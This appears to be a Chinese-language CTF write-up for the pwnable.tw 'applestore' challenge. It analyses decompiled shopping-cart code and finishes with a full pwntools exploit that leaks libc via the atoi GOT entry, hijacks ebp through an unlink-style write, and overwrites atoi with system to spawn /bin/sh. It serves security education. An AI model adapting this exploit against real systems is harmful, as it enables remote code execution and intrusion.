美文网首页CTF-PWN
Pwnable.tw applestore

Pwnable.tw applestore

作者: Nevv | 来源:发表于2019-04-10 13:10 被阅读2次

    applestore

    首先看下安全机制,没有开启pie,可能要使用到程序中的某个地址:

    [*] '/home/nevv/Desktop/applestore.dms'
        Arch:     i386-32-little
        RELRO:    Partial RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      No PIE (0x8048000)
    
    

    ​ 大概运行了程序后,是个类似购物车的功能,有增、删、查看的功能。

    add

    unsigned int add()
    {
      char **v1; // [esp+1Ch] [ebp-2Ch]
      char nptr; // [esp+26h] [ebp-22h]
      unsigned int v3; // [esp+3Ch] [ebp-Ch]
    
      v3 = __readgsdword(0x14u);
      printf("Device Number> ");
      fflush(stdout);
      my_read(&nptr, 0x15u);
      switch ( atoi(&nptr) )
      {
        case 1:
          v1 = create((int)"iPhone 6", (char *)0xC7);
          insert((int)v1);
          goto LABEL_8;
        case 2:
          v1 = create((int)"iPhone 6 Plus", (char *)0x12B);
          insert((int)v1);
          goto LABEL_8;
        case 3:
          v1 = create((int)"iPad Air 2", (char *)0x1F3);
          insert((int)v1);
          goto LABEL_8;
        case 4:
          v1 = create((int)"iPad Mini 3", (char *)0x18F);
          insert((int)v1);
          goto LABEL_8;
        case 5:
          v1 = create((int)"iPod Touch", (char *)0xC7);
          insert((int)v1);
    LABEL_8:
          printf("You've put *%s* in your shopping cart.\n", *v1);
          puts("Brilliant! That's an amazing idea.");
          break;
        default:
          puts("Stop doing that. Idiot!");
          break;
      }
      return __readgsdword(0x14u) ^ v3;
    }
    

    ​ 然后具体看下 create 和 insert 函数:

    create & insert

    char **__cdecl create(int a1, char *a2)
    {
      char **v2; // eax
      char **v3; // ST1C_4
    
      v2 = (char **)malloc(16u);
      v3 = v2;
      v2[1] = a2;
      asprintf(v2, "%s", a1);
      v3[2] = 0;
      v3[3] = 0;
      return v3;
    }
    
    int __cdecl insert(int a1)
    {
      int result; // eax
      _DWORD *i; // [esp+Ch] [ebp-4h]
    
      for ( i = &myCart; i[2]; i = (_DWORD *)i[2] )
        ;
      i[2] = a1;
      result = a1;
      *(_DWORD *)(a1 + 12) = i;
      return result;
    }
    

    ​ 可以看出购物车是一个链表结构:

    .bss:0804B064 completed_6590  db ?                    ; DATA XREF: __do_global_dtors_aux↑r
    .bss:0804B064                                         ; __do_global_dtors_aux+14↑w
    .bss:0804B065                 align 4
    .bss:0804B068                 public myCart
    .bss:0804B068 myCart          db    ? ;               ; DATA XREF: insert+6↑o
    .bss:0804B068                                         ; main+39↑o
    .bss:0804B069                 db    ? ;
    .bss:0804B06A                 db    ? ;
    .bss:0804B06B                 db    ? ;
    .bss:0804B06C                 db    ? ;
    .bss:0804B06D                 db    ? ;
    .bss:0804B06E                 db    ? ;
    .bss:0804B06F                 db    ? ;
    .bss:0804B070 dword_804B070   dd ?                    ; DATA XREF: delete+18↑r
    .bss:0804B070                                         ; cart+61↑r
    .bss:0804B074                 align 8
    .bss:0804B074 _bss            ends
    .bss:0804B074
    

    delete

    unsigned int delete()
    {
      signed int v1; // [esp+10h] [ebp-38h]
      _DWORD *v2; // [esp+14h] [ebp-34h]
      int user_input; // [esp+18h] [ebp-30h]
      int v4; // [esp+1Ch] [ebp-2Ch]
      int v5; // [esp+20h] [ebp-28h]
      char nptr; // [esp+26h] [ebp-22h]
      unsigned int v7; // [esp+3Ch] [ebp-Ch]
    
      v7 = __readgsdword(0x14u);
      v1 = 1;
      v2 = (_DWORD *)dword_804B070;
      printf("Item Number> ");
      fflush(stdout);
      my_read(&nptr, 0x15u);
      user_input = atoi(&nptr);
      while ( v2 ) 
      {
        if ( v1 == user_input )
        {
          v4 = v2[2]; // next_thing
          v5 = v2[3]; // prev_thing
          if ( v5 )
            *(_DWORD *)(v5 + 8) = v4; 
          if ( v4 )
            *(_DWORD *)(v4 + 12) = v5;
          printf("Remove %d:%s from your shopping cart.\n", v1, *v2);
          return __readgsdword(0x14u) ^ v7;
        }
        ++v1;
        v2 = (_DWORD *)v2[2];
      }
      return __readgsdword(0x14u) ^ v7;
    }
    

    cart

    ​ dword_804B070 存储的是购物车的位置,索引0存储的是商品名字,索引1存储的是价格,23是前一个和后一个商品。

    int cart()
    {
      signed int v0; // eax
      signed int v2; // [esp+18h] [ebp-30h]
      int v3; // [esp+1Ch] [ebp-2Ch]
      _DWORD *i; // [esp+20h] [ebp-28h]
      char buf; // [esp+26h] [ebp-22h]
      unsigned int v6; // [esp+3Ch] [ebp-Ch]
    
      v6 = __readgsdword(0x14u);
      v2 = 1;
      v3 = 0;
      printf("Let me check your cart. ok? (y/n) > ");
      fflush(stdout);
      my_read(&buf, 0x15u);
      if ( buf == 'y' )
      {
        puts("==== Cart ====");
        for ( i = (_DWORD *)dword_804B070; i; i = (_DWORD *)i[2] )
        {
          v0 = v2++;
          printf("%d: %s - $%d\n", v0, *i, i[1]);
          v3 += i[1];
        }
      }
      return v3;
    }
    

    ​ 返回值是打印的商品价格总和

    checkout

    ​ 如果商品价格是7174个的话,会添加进去一个 iPhone8

    unsigned int checkout()
    {
      int v1; // [esp+10h] [ebp-28h]
      char *v2; // [esp+18h] [ebp-20h]
      int v3; // [esp+1Ch] [ebp-1Ch]
      unsigned int v4; // [esp+2Ch] [ebp-Ch]
    
      v4 = __readgsdword(0x14u);
      v1 = cart();
      if ( v1 == 7174 )
      {
        puts("*: iPhone 8 - $1");
        asprintf(&v2, "%s", "iPhone 8");
        v3 = 1;
        insert((int)&v2);
        v1 = 7175;
      }
      printf("Total: $%d\n", v1);
      puts("Want to checkout? Maybe next time!");
      return __readgsdword(0x14u) ^ v4;
    }
    

    分析

    • 购物车数据结构
    struct mycart{
        0-4 name
        4-8 price
        8-12 next_thing
        12-16 prev_thing
    }
    
    • free的时候并没有调用free函数真正释放掉空间,而是把其从双向链表中取下来,类似于unlink。
          v4 = v2[2]; // prev_thing
          v5 = v2[3]; // next_thing
          if ( v5 )
            *(_DWORD *)(v5 + 8) = v4; 
          if ( v4 )
            *(_DWORD *)(v4 + 12) = v5;
    
    • 程序没有开启pie,可能是要利用got表之类的,简单看下接收输入的函数:
    char *__cdecl my_read(void *buf, size_t nbytes)
    {
      char *result; // eax
      ssize_t v3; // [esp+1Ch] [ebp-Ch]
    
      v3 = read(0, buf, nbytes);
      if ( v3 == -1 )
        return (char *)puts("Input Error.");
      result = (char *)buf + v3;
      *((_BYTE *)buf + v3) = 0;
      return result;
    }
    
    利用点

    1.这里使用的是read函数来接收输入,read函数遇到/x00是不会终止的,且atoi是以/x00作为分割符,在添加iphone8的时候,会直接把一个栈上的地址链接入链表:

    unsigned int checkout()
    {
      int v1; // [esp+10h] [ebp-28h]
      char *v2; // [esp+18h] [ebp-20h]   位置是 ebp-20h
      int v3; // [esp+1Ch] [ebp-1Ch]
      unsigned int v4; // [esp+2Ch] [ebp-Ch]
    
      v4 = __readgsdword(0x14u);
      v1 = cart();
      if ( v1 == 7174 )
      {
        puts("*: iPhone 8 - $1");
        asprintf(&v2, "%s", "iPhone 8");
        v3 = 1;
        insert((int)&v2);
        v1 = 7175;
      }
      printf("Total: $%d\n", v1);
      puts("Want to checkout? Maybe next time!");
      return __readgsdword(0x14u) ^ v4;
    }
    
    1. 而在进入其他函数的时候,我们正好能控制对应的区域:
    int cart()
    {
      signed int v0; // eax
      signed int v2; // [esp+18h] [ebp-30h]
      int v3; // [esp+1Ch] [ebp-2Ch]
      _DWORD *i; // [esp+20h] [ebp-28h]
      char buf; // [esp+26h] [ebp-22h]   // 我们能够通过my_read函数控制的区域
      unsigned int v6; // [esp+3Ch] [ebp-Ch]
    
      v6 = __readgsdword(0x14u);
      v2 = 1;
      v3 = 0;
      printf("Let me check your cart. ok? (y/n) > ");
      fflush(stdout);
      my_read(&buf, 0x15u);
      if ( buf == 'y' )
      {
        puts("==== Cart ====");
        for ( i = (_DWORD *)dword_804B070; i; i = (_DWORD *)i[2] )
        {
          v0 = v2++;
          printf("%d: %s - $%d\n", v0, *i, i[1]);
          v3 += i[1];
        }
      }
      return v3;
    }
    
    1. 在有就是在调用cart函数的时候,我们能够控制的区域正好和添加iphone8的时候栈空间重合。

    综上:

    泄漏libc基地址

    • 首先构造出添加iphone8的条件
    • 然后使用cart函数构造栈上对应的prev_thing和next_thing指针为got表
    • 调用checkout函数,把iphone8链接入双向链表
    • 调用cart函数,即可泄漏出libc的基址

    劫持程序控制流

    • 直接unlink的话会在system函数的位置写入值导致段错误

    因此我们考虑劫持程序的ebp,在delete函数unlink后,改写其ebp的值,使其变为 atoi_got_addr + 0x22,这样的话由于程序 atoi_got_addr + 0x22 + 0xc是可写入的,因此能够绕过安全检查。同时在退出delete函数的时候,由于buf位置是从 ebp-0x22起始的,也就是atoi_got_addr,直接将其改写为system函数的地址同时使用截断传入/bin/sh字符串即可。

    exp

    from pwn import *
    
    def insert(n):
        p.recvuntil("> ")
        p.sendline("2")
        p.recvuntil("> ")
        p.sendline(n)
        p.recvuntil("amazing idea.\n")
    def delete(n):
        p.recvuntil("> ")
        p.sendline("3")
        p.recvuntil("> ")
        p.sendline(n)
    def checkout():
        p.recvuntil("> ")
        p.sendline("5")
        p.recvuntil("> ")
        p.sendline("y")
        p.recvuntil("Maybe next time!\n")
    def cart(n):
        p.recvuntil("> ")
        p.sendline("4")
        p.recvuntil("> ")
        p.sendline("y\x00" + p32(n) + p32(0)*3)
        p.recvuntil("27: ")
    
    p = remote("139.162.123.119",10104)
    elf=ELF("./applestore")
    elib = ELF("./libc_32.so.6")
    atoi_got_addr = elf.got["atoi"]
    
    for i in range(6):
        insert("1")
    for i in range(20):
        insert("2")
        
    checkout()
    cart(atoi_got_addr)
    atoi_addr = u32(p.recvuntil("\n")[:4])
    environ_bss = atoi_addr - elib.symbols['atoi'] + elib.symbols['environ']
    cart(environ_bss)
    environ_addr = u32(p.recvuntil("\n")[:4])
    system_addr = atoi_addr - elib.symbols['atoi'] + elib.symbols['system']
    
    ebp_addr = environ_addr - 0x104 # 调试得到的old ebp address of handle 
    ebp_new_addr = ebp_addr - 0x8 # for unlink
    
    p.recvuntil("> ")
    p.sendline("3")
    p.recvuntil("> ")
    p.sendline("27" + p32(0) * 2 + p32(atoi_got_addr + 0x22) + p32(ebp_new_addr))
    p.recvuntil("> ")
    p.sendline(p32(system_addr)+";/bin/sh\x00") # getshell
    p.interactive()
    

    参考链接

    相关文章

      网友评论

        本文标题:Pwnable.tw applestore

        本文链接:https://www.haomeiwen.com/subject/ffsniqtx.html